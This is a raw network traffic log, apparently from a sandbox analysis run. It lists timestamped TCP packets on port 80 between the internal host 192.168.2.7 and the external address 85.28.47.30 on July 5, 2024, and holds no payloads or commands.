Jul 5, 2024 06:23:08.404947996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404953957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404959917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404966116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.404972076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405003071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405039072 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405052900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405138016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405150890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405157089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405160904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405167103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405173063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405224085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405227900 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405230999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405249119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405255079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405260086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405266047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405271053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405278921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405293941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405296087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405297995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405303955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405347109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405354023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405355930 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405360937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405366898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405375957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405380011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405385017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405397892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405400991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405405045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405414104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405428886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405432940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405443907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405451059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405458927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405463934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405472994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405484915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405491114 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405491114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405498981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405513048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405519009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405519962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405525923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405531883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405533075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405541897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405554056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405560017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405567884 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405596972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405612946 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405635118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405689001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405797958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405805111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405826092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405834913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405838966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405846119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405864000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405889988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.405917883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405924082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405936956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405941010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.405980110 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.497869968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.497884035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.497900963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.497905016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.497911930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.497917891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.497925043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.497929096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.497984886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498017073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498023987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498035908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498049021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498071909 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498075962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498084068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498096943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498110056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498116970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498128891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498135090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498137951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498152971 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498173952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498229980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498235941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498248100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498251915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498258114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498262882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498272896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498275042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498296976 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498321056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498389006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498394966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498404980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498409986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498426914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498433113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498444080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498447895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498449087 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498454094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498466015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498471975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498476028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498477936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498483896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498491049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498500109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498505116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498509884 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498523951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498526096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498538017 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498548031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498548985 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498553991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498562098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498572111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498578072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498579025 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498591900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498594999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498605013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498615980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498620033 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498620033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498627901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498645067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498666048 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498684883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498689890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498701096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498706102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498712063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498716116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498739004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498760939 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498898983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498904943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498908997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498917103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498930931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498936892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498940945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498944998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498950958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498960018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498960018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498964071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498970985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498976946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.498986959 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.498995066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499001026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499006987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499011993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499018908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499025106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499049902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499067068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499092102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499099016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499109030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499115944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499120951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499125957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499139071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499142885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499147892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499150991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499154091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499181032 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499196053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499198914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499202967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499209881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499213934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499224901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499233007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499249935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499249935 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499257088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499262094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499268055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499269009 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499274969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499283075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499289036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499308109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499322891 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499475956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499481916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499492884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499497890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499504089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499510050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499521971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499526024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499531984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499536991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499541044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499566078 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499578953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499784946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499798059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499839067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499907970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499919891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499926090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499931097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499936104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499939919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.499977112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.499989986 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.591989040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.591996908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.592060089 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.592118025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.592123985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.592138052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.592178106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593126059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593133926 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593142986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593147993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593157053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593172073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593183041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593188047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593189001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593193054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593199015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593210936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593215942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593220949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593225956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593225956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593233109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593242884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593250036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593251944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593259096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593269110 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593274117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593274117 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593283892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593288898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593293905 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593305111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593311071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593317032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593322992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593323946 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593327999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593339920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593343973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593348980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593348980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593354940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593364954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593375921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593377113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593391895 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593415022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.593447924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.593497992 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.631134987 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.637659073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814683914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814692974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814702034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814706087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814712048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814716101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814722061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814727068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814853907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814866066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814877033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814882040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814893007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814903021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814909935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814919949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814925909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814924955 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.814932108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814944029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814950943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814961910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.814976931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.814999104 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815045118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815049887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815062046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815066099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815076113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815080881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815088987 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815093994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815108061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815109015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815115929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815125942 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815130949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815135002 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815140009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815155029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815155983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815160036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815165043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815175056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815176010 CEST	80	49699	85.28.47.30	192.168.2.7
